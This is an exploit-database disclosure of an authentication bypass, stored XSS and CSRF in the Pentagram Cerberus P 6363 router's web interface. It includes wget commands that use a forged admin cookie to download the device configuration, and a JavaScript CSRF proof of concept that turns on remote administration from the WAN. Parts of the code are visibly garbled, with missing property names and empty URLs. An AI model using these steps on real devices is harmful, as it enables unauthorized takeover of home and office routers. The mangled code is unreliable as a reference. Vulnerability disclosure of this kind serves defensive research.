Pentagram Cerberus P 6363 DSL Router - Multiple Vulnerabilities

ID 1337DAY-ID-21675
Type zdt
Reporter condis
Modified 2013-12-16T00:00:00


Exploit for hardware platform in category web applications

                                            1. Prolog
Cerberus P 6363 is simple SOHO class router. Its producer claims that it may act
as a 4 port switch and has an advanced firewall (...)
Device management is only possible through WWW GUI and because of that, GUI was 
targeted and is subject of this raport.
2. Authentication Bypass (CWE-592)
This bug is really trivial. All we need to do is set up "special" cookie before 
accessing GUI:
[email protected]:~$ wget -t 1 -nv -O pento.cfg
2013-12-11 23:06:46 URL: [3663] -> "pento.cfg" [1]
[email protected]:~$ head -n 5 pento.cfg 
<META http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>PENTAGRAM Cerberus P 6363</title>
<script type="text/javascript" src="lang/b28n.js"></script>
and now lets try some voodoo magic :x 
[email protected]:~$ wget -t 1 -nv -O pento.cfg --header="Cookie: admin:language=en"
[email protected]:~$ head -n 5 pento.cfg 
#Please don't change this file by hand
3. Multiple Cross Site Scripting (CWE-79)
GUI has some simple function that filters out non-alphanumeric characters but it 
is written in JavaScript, and as we all know, implementing protection only on 
client-side is no protection at all.
One of attack methods would be to turn off JavaScript or write some simple scripts 
(i.e.: using curl, wget, etc) that won't interpret JS code like web browser does.
Second method (which is preferred by me) is to make configuration backup; modify 
it manually changing relevant variables/directives and then reupload it back to 
the device.
3.1 Setting WI-FI Password 
This code will be executed on index page.
3.2 Setting URL Filtration
If "filter_url_mode" is disabled, we must change it to "deny" or "pass". Code 
injected here will be executed in Security Settings -> URL Filter Setting page.
3.3 Setting MAC Address Filtration
If "filter_mac_mode" variable is disabled, we must change it to "deny" or "pass". 
Code injected here will be executed in Security Settings -> MAC Address Filter 
Probably there are more XSS flaws, but I stopped searching after those three...
4. Cross Site Request Forgery (CWE-352)
There is no mechanism preventing CSRF attacks by which it is possible to enforce
any operation on the logged administrator. Below there is simple proof of concept
which enables httpd to WAN (access from IP = :
----- cerber_csrf_poc.html -----------------------------------------------------
 * Cross Site Request Forger v1.1
 * by condis
 * Simple utility which aim is to help in 
 * testing and exploiting CSRF flaws.
 * If You don't know how to use it, then
 * do NOT use it :)
var CSRForger = function()
    var f = document.createElement('form');
    var obj = {
        'target' : '',
        'method' : 'post',
        'debug'  : false,
        'addInput' : function(name, value) 
            var i = document.createElement('input');
    = name;
            i.value = value;
            i.type  = name == 'submit' ? 'submit' : (this.debug === 2) ? 'text' : 'hidden';
        'addInputs' : function(post) 
            for (var field in post) 
                this.addInput(field, post[field]);
        'csrForge' : function() 
            f.method = (this.method == 'post') ? 'POST' : 'GET';
            f.action =;
   = "gangbang";
            var i = document.createElement('iframe');
    = '100%';
   = '500px';
            if(this.debug === 0 || this.debug === false) 
       = 'none';
       = 'none';
            i.src  = f.action;
    return obj;
var cerb = new CSRForger(); = '';
cerb.method = 'GET';
    'GO'        : 'system_remote.asp',
    'RMEN'      : '1',
    'port'      : '8080',
    'IP'        : '', 
    'submit'    : 'go go power rangers'
----- cerber_csrf_poc.html -----------------------------------------------------
5. Epilogue
I tried to estalish a dialogue with vendor (07.12.2013) but they didn't respond 
for five days (probably they don't give a fuck about security) so I decided to 
publish all bugs.
Also, what's obvious there is no patch so best solution that I can think of now
is to stop using P 6363 and try other version. (P 6362 has different firmware
and at first glance it looked better).

# [2018-01-03]  #